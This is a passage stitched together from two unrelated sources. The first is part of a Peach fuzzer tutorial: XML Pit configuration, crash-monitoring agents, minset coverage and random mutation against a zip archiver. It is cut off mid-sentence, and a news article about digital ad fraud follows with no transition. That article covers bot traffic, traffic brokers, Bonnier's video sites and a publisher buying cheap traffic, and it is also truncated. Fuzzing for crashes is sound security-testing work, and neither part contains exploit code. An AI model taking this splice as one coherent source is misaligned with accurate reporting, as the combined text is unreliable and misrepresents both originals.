    * The “publisher” parameter as you would expect defines which publisher we would like to pass this data to. Our first two actions instruct Peach to use the file publisher for opening the file. writing our fuzzed data, and saving the file \(typically to a temporary location\). Our third action defines the “launch” publisher responsible for opening our application to be fuzzed. We’ll talk more about this in a bit.
  * **method**
    * The “method” parameter identifies the application consumer. This parameter is only valid for Action type “call”

Working from the FileFuzzerGui.xml template we’ll only need to modify 1 line
within the StateModel.

Let’s modify the following line:

1 |  `<``Action` `type``=``"call"` `method``=``"notepad.exe"` `publisher``=``"launch"``/>`  
---|---  
And we’ll go ahead and change the method parameter to include the executable
of the application we want to fuzz. For testing purposes, we’ll be fuzzing the
7zip application. Make sure to include the full file path.

1 |  `<``Action` `type``=``"call"` `method``=``"C:\Program Files\7z\7zip.exe"` `publisher``=``"launch"``/>`  
---|---  
### Agent

Now onto our Agent configuration. The Agent is responsible for monitoring our
application and recording any crashes that our fuzzer might trigger. Peach
also utilizes Microsoft’s \!Exploitable \(pronounced Bang-Exploitable\) which
is useful when classifying the exploitability of crashes. Further information
on \!exploitable can be found at here.

Here’s what you should be seeing in the FileFuzzerGui.xml:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |  `<!-- Setup a local agent that will monitor for faults -->` `<``Agent` `name``=``"LocalAgent"``>` ` ``<``Monitor` `class``=``"debugger.WindowsDebugEngine"``>` ` ``<!-- The command line to run. Notice the filename provided matched up` ` ``to what is provided below in the Publisher configuration -->` ` ``<``Param` `name``=``"CommandLine"` `value``=``"c:\windows\system32\notepad.exe fuzzedfile.txt"` `/>` ` ``<!-- This parameter will cause the debugger to wait for an action-call in` ` ``the state model with a method="notepad.exe" before running` ` ``program. -->` ` ``<``Param` `name``=``"StartOnCall"` `value``=``"notepad.exe"` `/>` ` ``</``Monitor``>` ` ``<!-- Enable heap debugging on our process as well. -->` ` ``<``Monitor` `class``=``"process.PageHeap"``>` ` ``<``Param` `name``=``"Executable"` `value``=``"notepad.exe"``/>` ` ``</``Monitor``>` `</``Agent``>`  
---|---  
With the comments in line this should be fairly self explanatory. The <Agent>
element acts as a container for our monitor configurations. Here you can
specify what the type and behavior of our monitor. For a full listing of
available monitors, please refer to the documentation here at the Peach
project page.

Within our Agent container, we see that the template is configured to use the
Windows Debug Engine as our primary monitor. We can also see 2 additional
parameters defined within this monitor. The first parameter, “CommandLine” is
used to define the path to the application we’ll be launching \(and
monitoring\), the filename of our fuzzed data, and any flags that may be
needed to launch the application.

> **ProTip: If you ever find that the application you are fuzzing is being
> launched but it appears that its not actually opening your fuzzed data, try
> adding a full path to the fuzzed file and wrap it in html encoded quotes
> \(i.e. &quot;C:\peach\fuzzed.zip&quot;\)**
Our next parameter defines the method to wait for before attaching the
debugger. We’ll need to change this to the same value we provided to our
<Action type=”call” …/> element within the StateModel.

Following that also see that the PageHeap Monitor being enabled for our tests.
Again, the comments here are pretty self-explanatory and this Monitor is used
for deubugging and recording data affecting the application’s heap. This
parameter only accepts the executable name and does not require the full file
path.

With that aside we can go ahead and apply our 3 required changes to this
section of the template. We’ll be adding the correct path to our application
for the “CommandLine” parameter, modifying the “StartOnCall” value to match
what we have in our StateModel \(ScoobySnacks\), and the executable name of
our application.

Your Agent section should look like the following:

1 2 3 4 5 6 7 8 9 |  `<``Agent` `name``=``"LocalAgent"``>` ` ``<``Monitor` `class``=``"debugger.WindowsDebugEngine"``>` ` ``<``Param` `name``=``"CommandLine"` `value``=``"C:\Program Files\ZipGenius 6\zg.exe -extract &quot;C:\peachfuzz\fuzzed.zip&quot"``/>` ` ``<``Param` `name``=``"StartOnCall"` `value``=``"ScoobySnacks"``/>` ` ``</``Monitor``>` ` ``<``Monitor` `class``=``"process.PageHeap"``>` ` ``<``Param` `name``=``"Executable"` `value``=``"zipgenius.exe"``/>` ` ``</``Monitor``>` `</``Agent``>`  
---|---  
Good, nearly done. We only have 2 more sections to define.

### Test Block

The Test section of our template is responsible for tieing everything
together. It correlates our State and Agent configuration and allows us to
configure our Publishers, the functions responsible for receiving and writing
our fuzzed data to disk. Let’s take a look at the configuration for this
section defined in the template.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 |  `<``Test` `name``=``"TheTest"``>` ` ``<``Agent` `ref``=``"LocalAgent"` `/>` ` ``<``StateModel` `ref``=``"State"``/>` ` ``<!-- Configure our publisher with correct filename to write too -->` ` ``<``Publisher` `class``=``"file.FileWriter"` `name``=``"file"``>` ` ``<``Param` `name``=``"fileName"` `value``=``"fuzzedfile.txt"` `/>` ` ``</``Publisher``>` ` ``<``Publisher` `class``=``"process.DebuggerLauncherGui"` `name``=``"launch"``>` ` ``<``Param` `name``=``"windowName"` `value``=``"Notepad"` `/>` ` ``</``Publisher``>` `</``Test``>`  
---|---  
You can see here that we let Peach know that we’ll be using our named Agent,
LocalAgent, and our named StateModel, State. We also see two Publishers being
defined, file.FileWrite and process.DebuggerLauncherGui. We’re actually going
to go ahead and remove both of these publishers and combine them with one
\(sort of\) to accomplish the same job.

**FileWriterLauncherGui**  
We can use the FileWriterLauncherGui publisher to write a single file to disk,
then have our fuzzed application open this fuzzed file. Once open, Peach will
wait for the CPUTime to hit 0 before sending a WM\_CLOSE message to kill the
application. With this configuration, we’ll need 3 parameters; one to define
the name of the file to be written \(this must be the same as the parameter we
supplied to “CommandLine” in our Agent configuration\), the windowName
parameter so that Peach knows where to send the WM\_CLOSE message, and mark
debugger as true.

Let’s go ahead and update the named Agent and StateModel references to match
what we have defined in our modified configuration and add our Publisher. Your
template should look like the following:

1 2 3 4 5 6 7 8 9 |  `<``Test` `name``=``"TheTest"``>` ` ``<``Agent` `ref``=``"LocalAgent"``/>` ` ``<``StateModel` `ref``=``"TheState"``/>` ` ``<``Publisher` `class``=``"file.FileWriterLauncherGui"``>` ` ``<``Param` `name``=``"fileName"` `value``=``"fuzzed.zip"``/>` ` ``<``Param` `name``=``"windowName"` `value``=``"ZipGenius"``/>` ` ``<``Param` `name``=``"debugger"` `value``=``"true"``/>` ` ``</``Publisher``>` `</``Test``>`  
---|---  
Now typically I like to add two Publishers, one for GUI applications and
another that can be run solely from the command line. Why? Well, typically
fuzzing command line applications is significantly faster than fuzzing GUI
applications. So as long as you can get the same amount of coverage fuzzing an
application via the command line as you would fuzzing the GUI interface, it
may decrease fuzz time substantially. So to prepare for this, we’ll go ahead
and add the FileWriteLauncher \(NonGUI\) Publisher to our Test element and
comment it out. If we decide to fuzz an application with a command line option
we’ll simply comment out our FileWriterLauncherGUI and uncomment
FileWriterLauncher.

Your Test configuration should look like the following:

1 2 3 4 5 6 7 8 9 10 11 12 13 |  `<``Test` `name``=``"TheTest"``>` ` ``<``Agent` `ref``=``"LocalAgent"``/>` ` ``<``StateModel` `ref``=``"TheState"``/>` ` ``<``Publisher` `class``=``"file.FileWriterLauncherGui"``>` ` ``<``Param` `name``=``"fileName"` `value``=``"fuzzed.zip"``/>` ` ``<``Param` `name``=``"windowName"` `value``=``"Quick"``/>` ` ``<``Param` `name``=``"debugger"` `value``=``"true"``/>` ` ``</``Publisher``>` ` ``<!--<Publisher class="file.FileWriterLauncher">` ` ``<Param name="fileName" value="fuzzed.zip" />` ` ``<Param name="debugger" value="true"/>` ` ``</Publisher>-->` `</``Test``>`  
---|---  
As you can see, our configuration is nearly the same as our GUI publisher with
the exception of the windowName parameter.

### Run Block

Our final section, Run, is used for combining multiple tests and defining a
place to log our crash data. For this example we’ve only defined a single Test
section. Your Run section should look like the following:

1 2 3 4 5 6 |  `<``Run` `name``=``"DefaultRun"``>` ` ``<``Test` `ref``=``"TheTest"``/>` ` ``<``Logger` `class``=``"logger.Filesystem"``>` ` ``<``Param` `name``=``"path"` `value``=``"Z:\logs.zip.quick"``/>` ` ``</``Logger``>` `</``Run``>`  
---|---  
You can find the entire Peach Pit here

## Testing Our Fuzzer

Now that we’ve finished our Pit, we’ll need to go ahead and do a few test runs
before we actually kick off the fuzzer. But before we do that we’ll need to
create a quick test Zip file for our Pit to parse. Once you have a Zip file
selected, modify the following Data parameter within your StateModel so that
Peach knows which file to parse:

1 |  `<``Data` `name``=``"data"` `fileName``=``"C:\peachfuzz\Test.zip"``/>`  
---|---  
Ok, with our Pit updated, the first thing that we’ll do is run a quick
configuration check that’ll let us know if there are any errors in our Pit. So
to begin, open up a command window, change directory to the location of your
Peach installation and run the following command.

1 |  `peach.bat -t zip.xml`  
---|---  
If no errors were detected, your output should look like the following:

<img src='img/Temp2_3361' width='520' height='180' alt='Peach Configuration
Test' />With our check complete, we’ll take it one step further and run a
single test case of our fuzzer. The first test case does not actually fuzz our
sample data. It’ll parse the sample zip file, regenerate another copy and
provide this data to our target application.

To do so, we’ll run the following command:

1 |  `peach.bat -1 --debug zip.xml`  
---|---  
After executing that command, Peach will go ahead and parse our test Zip file
using the DataModel we created, dump the output to a single file without
applying any mutations on it, and provide it to the target application. This
is essentially a dry run. Peach \(and you\) will make sure that the
Application is properly recieving the file that we’ve provided it and ensure
that the Peach Agent is able to detect the process and wait for it to exit
\(or be killed\). If a fault is thrown or something goes wrong, the first test
case will fail and Peach \(even without the -1 parameter\) will exit the fuzz
process.

However if all goes well, you should see something similar to the following:

<img src='img/Temp2_3366' width='85%' height='85%' alt='Peach - First Run'
/>Also take note of the Agent output:

<img src='img/Temp2_3363' width='85%' height='85%' alt='Peach - First Run -
Agent Output' />

> **\*\*\*Using the –debug option is incredibly helpful for detecting issues
> within your DataModel. It essentially prints out the logic that Peach uses
> to crack our provided file. If there’s an issue in your DataModel that
> prevents Peach from cracking the entire file, we can go ahead and find the
> position in the file and the element that is failing. Again, this is another
> reason why naming your elements proves to be helpful.**
Looking through the Agent output we can see that Peach launches the process
with our monitor set to the newly created process, the test is executed, and
once the process reaches a CPU time of 0, Peach kills the application.

Before we move on, we have 1 last item to check. We’re going to take our
fuzzed.zip, the file created by Peach and we’ll diff it against our Test.zip
to make sure they are identical. This will prove to us that Peach is properly
parsing and writing out our file. This shouldn’t be much of an issue in our
Pit, however more complex fuzzers utilizing Transformers and Fixups may alter
the data and the output might not be identical to the input.

In the screen shot below, I’m using the 010 Binary editor to do a byte level
comparison of the two files. Additionally, we can also run the template on
both files to verify that the data is the same.

<img src='img/Temp2_3362' width='85%' height='85%' alt='Peach - First Run -
Diff' />Excellent. Now that we’ve verified that our Pit can properly parse a
Zip file, provide that file to the Target application, and successfully
monitor the process we can go ahead and begin fuzzing. But before we do, there
are some additional items we may wish to consider.

## Code Coverage

To improve the effectiveness of our fuzzing process, it’s important that we
consider how much of the application we’re actually affecting with our sample
data. For example, looking at our test file using the 010 Binary Editor and
running the Zip template, we can see that only 3 blocks, Local File Header
\(containing our File Data\), Central Directory Structure, and End of Central
Directory Record blocks are being used.

<img src='img/Temp2_3364' width='85%' height='85%' />This file essentially
utilizes only about 40% of our Pit, and 40% of the specification for that
matter. Now lets consider a Zip64 archive which will be using the Data
Descriptor, Zip64 End of Central Directory Record, and Zip64 End of Central
Directory Locator in addition to those blocks used by a standard Zip archive.
If we choose not to fuzz using a Zip64 archive, any functions specific to
those blocks will not be tested.

> **Further information on code coverage can be foundhere.**
Since our Pit replicates the functionality of our target applications, they
too will only need to utilize a smaller subset of code in order to parse our
sample data. Therefore, any bugs that may potentially lie in other blocks of
the Zip specification will go untested. Luckily for us, Peach provides us with
a very quick and easy way to parse through a large data sample and determine
which files affect the most of our application.

### minset

Minset is an additional tool provided with the Peach framework that allows us
to determine which files affect the greatest amount of code within our
application. By providing a directory containing our sample files, minset will
monitor the application and determine how many basic blocks \(different than
our DataModel “Block” elements\) of code are being used to process each file.
We’ll run minset against a quick sample to see what it provides.

I’ve put together a small archive containing 12 Zip files that you can
download here to test.

Once you’ve downloaded the archive, let’s go ahead and create a folder in the
following path called “zip”:

1 |  `C:\(Path to Peach Installation)\tools\minset\zip`  
---|---  
Next, unpack the archive I’ve provided in the directory created above.

Now we’re ready to fire up minset. Open up a command window and execute the
following command in the minset directory:

1 |  `C:\peachfuzz\tools\minset>minset -s zip\*.zip -m minset "C:\Program Files\ZipGenius 6\zg.exe" \-extract %s C:\temp\ O0`  
---|---  
This may take several minutes but once complete, your output should look
similar\*\*\* to the following:

> **\*\*\*If you run minset several times on the same files you’ll notice that
> the number of basic blocks detected per file may change. Since the number of
> blocks per file is negligible, you may notice that the suggested minset
> changes. YMMV\! When dealing with a small subset of files, manually opening
> each file and determining the blocks used may helpful in addition to running
> minset.**
<img src='img/Temp2_3365' width='85%' height='85%' alt='Peach - minset' />

Once minset completes, it’ll go ahead and copy the minimal file set to the
directory we specified with the -m option.

For this discussion, we’ll use the Zip files contained in this archive for our
fuzz process.

Now that we have several files to mutate we’ll need to decide how we’d like to
fuzz them. Let’s modify our Pit to use the Test.zip archive as our base
mutation file and run our fuzzer. We’ll go ahead and kill the agent window
after the first or second test case.

Not that as the Peach fuzz process continues, we see two numbers in the first
column next to each test case. These numbers display the current test case
number, and the total number of test cases for that file. Now, we can go ahead
and fuzz each file, running all iterations, and slowly work our way to over
each file, however this would likely take a great deal of time. With that
said, Peach offers us another strategy for fuzzing our dataset: the random
mutation strategy.

### Random Mutation Strategy

The random mutation strategy, in comparison with the default strategy allows
us to fuzz any number of fields concurrently, rather than a single element,
block, or tree per iteration. This allows us to trigger crashes that might
only occur if multiple fields are affected in comparison to a single element
or tree. Additionally, the random mutation strategy allows us to define the
maximum number of fields to be fuzzer per iteration, a directory containing
our minset data, and the number of iterations to be run per file. This
strategy will essentially run indefinitely since once all of our files are
consumed, Peach resumes the process with the first file in the list, and
continues by fuzzing randomly selected elements.

To enable the random mutation strategy, we’ll go ahead the Data element within
our StateModel and add the following line to our Test block within our Pit.
Make sure it is added to the top-level of the Test block and not to one of the
sub elements such as the Agent, StateModel, or Publisher.

1 2 3 4 5 6 7 8 9 10 |  `<``StateModel` `name``=``"TheState"` `initialState``=``"Initial"``>` ` ``<``State` `name``=``"Initial"``>` ` ``<``Action` `type``=``"output"``>` ` ``<``DataModel` `ref``=``"ZipFileFormat"``/>` ` ``<``Data` `name``=``"data"` `fileName``=``"C:\peachfuzz\tools\minset\zip\minset\*.zip"``/>` ` ``</``Action``>` ` ``<``Action` `type``=``"close"``/>` ` ``<``Action` `type``=``"call"` `method``=``"ScoobySnacks"``/>` ` ``</``State``>` `</``StateModel``>`  
---|---  
1 2 3 4 5 6 7 8 9 10 |  `<``Test` `name``=``"TheTest"``>` ` ``<``Strategy` `class``=``"rand.RandomMutationStrategy"` `switchCount``=``"1500"` `maxFieldsToMutate``=``"7"``/>` ` ``<``Agent` `ref``=``"LocalAgent"``/>` ` ``<``StateModel` `ref``=``"TheState"``/>` ` ``<``Publisher` `class``=``"file.FileWriterLauncherGui"``>` ` ``<``Param` `name``=``"fileName"` `value``=``"fuzzed.zip"``/>` ` ``<``Param` `name``=``"windowName"` `value``=``"ZipGenius"``/>` ` ``<``Param` `name``=``"debugger"` `value``=``"true"``/>` ` ``</``Publisher``>` `</``Test``>`  
---|---  
Looking at the above line, we see that we’ve instructed Peach to use the
random mutation strategy, fuzzing a maximum of 7 fields, and we’ll be running
1500 iterations per file before moving on.

Before we start our fuzzer, we’re going to add one additional parameter to the
command line. The random mutation strategy also provides us with a seed number
so that in the event our fuzzer crashes our we’d like to replicate a test case
later, we can specify the seed number and the iteration to be able to return
to that exact test case. The seed value will be generated each time a new test
is started. For the purposes of this article, we’re going to use a predefined
seed so that our results are the same.

With that said, let’s start our fuzzer using the following parameters.

1 |  `peach.bat --seed 1310614524.1 zip.xml`  
---|---  
### Running Our Fuzzer

Ok, now it’s time to get down to business. If you’ve added the random mutation
strategy to your Test block above, let’s go ahead and comment that out for
now. We’ll also be mutating the Test.zip file so make sure you update the Data
element within your StateModel.

Once you’ve made these changes, lets open up a command window and run the
following command.

1 |  `peach.bat zip.xml`  
---|---  
Once the fuzz process has begun, we’ll let it run for a while.

After a few minutes you should notice that Peach has been able to trigger a
few exceptions. Let’s take a look at the first exception which occurs at
testcase \#123

# The Fake Traffic Schemes That Are Rotting the Internet

**Created:**| _2/15/2016 7:46:22 AM_  
---|---  
**Updated:**| _2/15/2016 7:46:22 AM_  
**Author:**| __  
**Tags:**| __  
  
  

The euphoria escalated again around 2010 with the arrival of programmatic
advertising, a typically banal industry term for what is, essentially,
automation. The ideal programmatic transaction works like this: A user clicks
on a website and suddenly her Internet address and browsing history are
packaged and whisked off to an auction site, where software, on behalf of
advertisers, scrutinizes her profile \(or an anonymized version of it\) and
determines whether to bid to place an ad next to that article. Ford Motor
could pay to put its ads on websites for car buffs, or, with the help of
cookies, track car buffs wherever they may be online. Ford might want to
target males age 25-40 for pickup-truck ads, or, better yet, anybody in that
age group who’s even read about pickups in the past six months.

x

Share & Embed

flmt

Copy Code

That’s a stunningly attractive proposition to advertisers: surgical strikes on
a carpet bombing scale. Ominous for privacy advocates, sure, but nirvana for
agencies, publishers, and advertisers. At long last, they’d know where every
last dollar went and whether it did its job.

Amram is at Heineken USA now, where the annual ad budget is in the $150
million range. In 2013 the company replaced its old stubby bottles with a
fashionably long-necked version that supposedly keeps the beer cold longer.
“We had a healthy investment in TV, local media, and digital,” he says. “We
thought digital would come close and compete with television in terms of
effectiveness.”

Late that year he and a half-dozen or so colleagues gathered in a New York
conference room for a presentation on the performance of the online ads. They
were stunned. Digital’s return on investment was around 2 to 1, a $2 increase
in revenue for every $1 of ad spending, compared with at least 6 to 1 for TV.
The most startling finding: Only 20 percent of the campaign’s “ad
impressions”—ads that appear on a computer or smartphone screen—were even seen
by actual people.

“The room basically stopped,” Amram recalls. The team was concerned about
their jobs; someone asked, “Can they do that? Is it legal?” But mostly it was
disbelief and outrage. “It was like we’d been throwing our money to the mob,”
Amram says. “As an advertiser we were paying for eyeballs and thought that we
were buying views. But in the digital world, you’re just paying for the ad to
be served, and there’s no guarantee who will see it, or whether a human will
see it at all.”

## Bot Prevalence by Browser Age

  
<img src='img/Temp2_7995.png' width='300' height='290' />  

Source: _The Bot Baseline: Fraud In Digital Advertising_ by White Ops, Inc.

Increasingly, digital ad viewers aren’t human. A study done last year in
conjunction with the Association of National Advertisers embedded billions of
digital ads with code designed to determine who or what was seeing them.
Eleven percent of display ads and almost a quarter of video ads were “viewed”
by software, not people. According to the ANA study, which was conducted by
the security firm White Ops and is titled _The Bot Baseline: Fraud In Digital
Advertising_ , fake traffic will cost advertisers $6.3 billion this year.

One ad tracked in the study was a video spot for Chrysler that ran last year
on Saveur.tv, a site based on the food and travel lifestyle magazine. Only 2
percent of the ad views registered as human, according to a person who was
briefed on data provided to the study’s participants. Chrysler, which doesn‘t
dispute the data, ceased buying ads on the site once it became aware of the
“fraudulent activity,” says Eileen Wunderlich, the automaker’s spokeswoman.
White Ops, which left out the names of the advertiser and website in its
published study, declined to comment. Executives at Bonnier, the publishing
company behind Saveur.tv, say they screen every impression and that the White
Ops study looked at 5,700 ads, a very small number. They also say there are
multiple methods for detecting nonhuman traffic, and that there’s no single
standard used by the industry. “We weren’t aware of any problem or complaint.
If it had been brought to our attention we would have fixed it,“ says Perri
Dorset, a Bonnier spokeswoman.

Fake traffic has become a commodity. There’s malware for generating it and
brokers who sell it. Some companies pay for it intentionally, some
accidentally, and some prefer not to ask where their traffic comes from. It’s
given rise to an industry of countermeasures, which inspire counter-
countermeasures. “It’s like a game of whack-a-mole,” says Fernando Arriola,
vice president for media and integration at ConAgra Foods. Consumers,
meanwhile, to the extent they pay attention to targeted ads at all, hate them:
The top paid iPhone app on Apple’s App Store is an ad blocker.

“I can think of nothing that has done more harm to the Internet than ad tech,”
says Bob Hoffman, a veteran ad executive, industry critic, and author of the
blog the Ad Contrarian. “It interferes with everything we try to do on the
Web. It has cheapened and debased advertising and spawned criminal empires.”
Most ridiculous of all, he adds, is that advertisers are further away than
ever from solving the old which-part-of-my-budget-is-working problem. “Nobody
knows the exact number,” Hoffman says, “but probably about 50 percent of what
you’re spending online is being stolen from you.”

<img src='img/Temp2_7992.png' width='840' height='242' />

Bonnier is a 211-year-old Swedish media conglomerate. Like a lot of
traditional publishing companies, it has struggled in its transition to the
Internet era. Generating digital revenue to offset declines in the print
business is paramount, and video ads are particularly lucrative. Last year the
company began to build videocentric sites for _Saveur_ and several of its
other titles, including _Outdoor Life_ , _Working Mother_ , and _Popular
Science_.

About half of Saveur.tv’s home page is taken up by a player that automatically
plays videos with simple kitchen tips. In early September, the spots \(How to
Stir a Cocktail, Step One: “Hold the spoon between pointer and middle finger
…”\), were preceded by ads from Snapple and Mrs. Meyer’s household cleaning
products.

The challenge for Bonnier was building an audience. That can be done
organically—by coming up with lots of content, promoting it until people start
watching, persuading advertisers to buy in. Or there’s a modern shortcut: Buy
traffic. Which doesn’t necessarily mean fake it. Publishers often pay to
redirect human users from somewhere else on the Internet to their own sites,
and companies such as Taboola and Outbrain specialize in managing this kind of
traffic. Website A hires Taboola, which pays Website B to put “content from
around the Web” boxes at the bottom of its pages. Viewers, enticed by
headlines like “37 Things You Didn’t Know About Scarlett Johansson,” click on
a box and are redirected to Website A. But redirects are also expensive. In
practice, only 2 percent of people on a site click on these boxes, and Website
A has to compensate Website B handsomely for giving up precious visitors.

<img src='img/bannerdivider1.gif' width='1000' height='400' />

Less ethical methods are cheaper. Pop-ups—those tiny browser windows that you
ignore, click to close, or never see—are one way to inflate visitor numbers.
As soon as that window appears on your computer, you’re counted as someone
who’s seen the ads. An even more cost-effective technique—and as a rule of
thumb, fake is always cheaper—is an ad bot, malware that surreptitiously takes
over someone else’s computer and creates a virtual browser. This virtual
browser, invisible to the computer’s owner, visits websites, scrolls through
pages, and clicks links. No one is viewing the pages, of course; it’s just the
malware. But unless the bot is detected, it’s counted as a view by traffic-
measuring services. A botnet, with thousands of hijacked computers working in
concert, can create a massive “audience” very quickly.

All a budding media mogul—whether a website operator or a traffic supplier—has
to do to make money is arbitrage: Buy low, sell high. The art is making the
fake traffic look real, often by sprucing up websites with just enough content
to make them appear authentic. Programmatic ad-buying systems don’t
necessarily differentiate between real users and bots, or between websites
with fresh, original work, and Potemkin sites camouflaged with stock photos
and cut-and-paste articles.

Bonnier wasn’t that audacious. But even its own executives say the content on
the video sites was unlikely to create and sustain much of an audience on its
own. So they turned to several different traffic brokers—or audience networks,
to use the industry euphemism. Sean Holzman, Bonnier’s chief digital revenue
officer, described the practice as normal for big-time publishers, especially
those rolling out new products, because advertisers won’t bother with sites
that don’t already have an audience. “It was a test, a way to prime the pump
and see if we could build these sites at this price point,” he says. “You
usually have to keep buying some traffic, because the audience you’re getting
isn’t as sticky.”

<img src='img/Temp2_7996.png' width='840' height='234' />

It’s also common for publishers not to tell their advertisers when they’re
buying traffic, and in most cases, Bonnier didn’t. When advertisers asked,
says spokeswoman Dorset, the company was open about its buying traffic.
Holzman says there was no intent to deceive anyone. The company hired security
firms, he adds, including DoubleVerify, to vet the sites for bots and was
assured they were buying real human visitors. But he says they weren’t paying
top dollar for their traffic. Among audience networks, he says, “there are
some you might call Toyotas, others we’d consider Mercedes. We were priced at
the Toyota level.”

The traffic market is unregulated, and sellers range from unimpeachable to
adequate to downright sleazy; price is part of the market’s code. The cheap
stuff is very easy to find. On LinkedIn there’s a forum called “Buying &
Selling TRAFFIC,” where 1,000 “visitors” can be had for $1. Legit traffic is a
lot more expensive. Taboola, for example, charges publishers from 20¢ to 90¢
per visitor for video content, targeted to a U.S. audience on desktops only. A
publisher like Bonnier can sell a video ad for 1¢ to 1.2¢ per view in a
programmatic auction, which is how the company sold most ads on its video
sites. If Bonnier had gone with Taboola, it might be losing 19¢ per view or
more.

Soon after it started buying traffic, Bonnier’s numbers began to jump. In the
summer of 2014, several of the video sites had almost zero visitors, according
to ComScore. By December, Saveur.tv had 6 million monthly visitors and
WorkingMotherTV.com, 4 million, according to site data provided by Bonnier. In
May traffic surged again: 9 million for Saveur.tv; 5 million for
WorkingMotherTV.com. The numbers didn’t pass muster with at least one big ad
firm: SiteScout, which aggregates and lists ad space for sale from more than
68,000 websites, says it blocks several of these new Bonnier sites for
“excessive nonhuman traffic.” Bonnier says it doesn’t work directly with
SiteScout and was unaware its video properties had been blocked.

\(Bloomberg.com, which like _Bloomberg Businessweek_ is owned by Bloomberg LP,
reported 24.2 million unique visitors in the U.S. in August, according to
ComScore. The site purchases between 1 percent and 2 percent of its traffic
from Taboola and Outbrain. “In the past, we have engaged with a few other
vendors,” says global head of digital Paul Maya, “but we weren’t confident in
the quality of the audience, despite assurances from the vendor, and canceled
those deals.”\)

<img src='img/Temp2_7994.png' width='280' height='373' />

Featured in Bloomberg Businessweek, Sept. 24, 2015. Subscribe now.

Bonnier declined to reveal its traffic suppliers, but an analysis by
SimilarWeb, a traffic-analysis firm, shows most of it arrived from a handful
of identical-looking sites with names like Omnaling.com and Connect5364. com,
each describing itself as “an advertising network technology domain.”
Essentially the domains work like fire hoses, pumping traffic anywhere on the
Internet. They’re registered anonymously but have shared computer addresses
with other sites, including one called Daniel-Yomtobian.com. Daniel Yomtobian
is the chief executive officer of a traffic supplier in Sherman Oaks, Calif.,
called Advertise.com.

When reached by phone, Yomtobian is gregarious and friendly. He describes
Advertise.com as an ad network that sells more than 300 million page visits
each month to companies that want to boost their traffic. Among his customers
is Bonnier, which, he says, mainly purchased his cheapest-possible traffic,
including “tab-unders.” Say you’re watching a movie on Netflix. A tab-under
opens up another window beneath the one playing the movie. You may never see
that new window, which displays an Advertise.com customer’s website, but
Advertise.com’s customer still generates another page view. Repeat a few
thousand times, and you build traffic numbers.

“I’ve found Advertise.com selling every type of worthless traffic I am able to
detect,” says Benjamin Edelman, a Harvard Business School professor who
researches the digital economy. “And doing so persistently, for months and
indeed, years.”

Yomtobian allows that tab-unders are “low-quality traffic” and that Bonnier
complained about that. But he says his firm checks the traffic of its
supplying partners for bots and sends only real humans to the Bonnier
websites. “We would never deliver traffic that we don’t think is real,” he
says. Yomtobian also disputes Edelman’s claims that Advertise.com’s traffic is
worthless. After all, people sometimes do see tab-unders and click on them.
“There is a huge distinction,” he says, “between worthless traffic and low-
quality traffic.”

<img src='img/Temp2_7993.png' width='840' height='261' />

You’ve probably never visited MyTopFace.com. It’s a cosmetics advice site that
sells ad slots for anywhere from 73¢ to $10 per 1,000 views, with video ads
fetching far more money than display ads, according to SiteScout. As of early
September, the top story on MyTopFace, an article with an accompanying video
called “Smokey Eye Makeup—Kim Kardashian Look,” was at least 5 months old.
Stale content seems like the worst way to attract readers, but if the readers
are bots, it doesn’t matter. So MyTopFace could have made as much as $9 for
every 1,000 visitors, assuming it kept costs close to zero and was able to
acquire traffic at a rate of $1 per 1,000. MyTopFace ran ads from companies
and brands such as American Express and Hebrew National hot dogs.

After more than a dozen e-mails and phone calls, the operator of MyTopFace
agreed to meet with _Bloomberg Businessweek_. He’s 28, lives in Brooklyn, and
introduces himself as Boris Boris \(although a number of his network’s sites
are registered under other names\). On a warm September afternoon, he shows up
at a trendy Flatbush Avenue cafe with his wife and their 1-month-old son in
tow. He’s wearing a pair of brown, tortoiseshell glasses and sports a goatee
with a waxed, handlebar mustache.

Boris says he was born in eastern Ukraine and made it to the U.S. when a
Russian-owned business in New York heard about his Internet marketing skills
through the émigré grapevine and got him a temporary visa. After a few months
of fine-tuning, he helped a Brooklyn meat processor’s website vault to the top
of Google searches. “They were happy, and I knew I could stay,” Boris says.
“And I knew that I could find success in the USA, too.”

<img src='img/Temp2_7999.png' width='800' height='145' />  
You’re launching a website. Problem: Advertisers won’t talk to you because
your site has no audience. Solution: Buy an audience\! How? Depends on what
you’re willing to spend.  
<img src='img/Temp2_7998.png' width='874' height='1019' />  

by Dorothy Gambrell

  

But Boris saw that the real opportunities in Web advertising lay elsewhere. In
less than five years, he’s built a minipublishing empire, Boris Media Group,
largely through the acquisition of cheap—and, often, fake—traffic. Along with
MyTopFace, his portfolio includes several low-maintenance properties, such as
MaryBoo.com, which offers health and beauty tips to pregnant women. Boris’s
LinkedIn profile says his sites combine to reach more than 10 million viewers
daily, which would get him in four days what the _Los Angeles Times_ gets in a
month.

Boris’s traffic number is difficult to verify—he declined to provide a full
list of his websites. But for much of the summer, MyTopFace offered from
30,000 to 100,000 ad impressions for sale each day, according to SiteScout.

During the interview, he freely admits he buys many of the visitors to his
websites. He spends about $50,000 per year buying high-quality traffic for
MyTopFace from Facebook \(nothing nefarious there—you create an account for
your business and then pay Facebook to advertise in people’s news feeds\). And
then he spends another $50,000 or so on cheap traffic whose origins he isn’t
as sure about. Facebook traffic is real people, and costs about 100 times more
per visitor than the mysterious cheap traffic.

_Bloomberg Businessweek_ asked two traffic-fraud-detection firms to assess
recent traffic to MyTopFace; they agreed on the condition that their names not
be used. One found that 94 percent of 30,000 visitors were bots; the other put
the bot traffic at 74 percent. Boris didn’t dispute the findings or appear at
all concerned. “If I can buy some traffic and it gets accepted, why not?” he
says. And if advertisers don’t like it, he adds, “they should go buy somewhere
else. They want to pay only a little and get a lot of traffic and results. If
they want all human traffic, they should go direct to the publisher and pay
more.”

In a later e-mail, he explains his business differently. “Our network doesn’t
buy traffic, we buy advertising that brings us traffic,” Boris writes. His
operation uses antibot filters, he adds, and any advertiser that does find bot
traffic can refuse to pay for it. In any case, fraud would be impossible, he
says.

One prominent source of Boris’s advertising revenue is Myspace. The once-
dominant social network’s new owner, the ad-tech firm Viant, relaunched it in
2013 with a focus on video. It has invested in Myspace exclusives, as well as
custom-made video players that other sites can embed, much like YouTube’s.

When visitors went to MyTopFace.com last summer, a Myspace player would pop up
in the bottom right-hand corner of the screen. First, an ad would show,
followed by the editorial content—a 15-second video of a guy driving a car at
night.

The guy-driving-at-night video, called _Hitboy_ , was one of several put
together by a Myspace employee to serve as placeholders, according to Viant.
They appear whenever Myspace blocks a site from showing its actual video
content. That might happen, say, if the site violates Myspace’s terms or
conditions or if Myspace loses the rights to show a video that had been
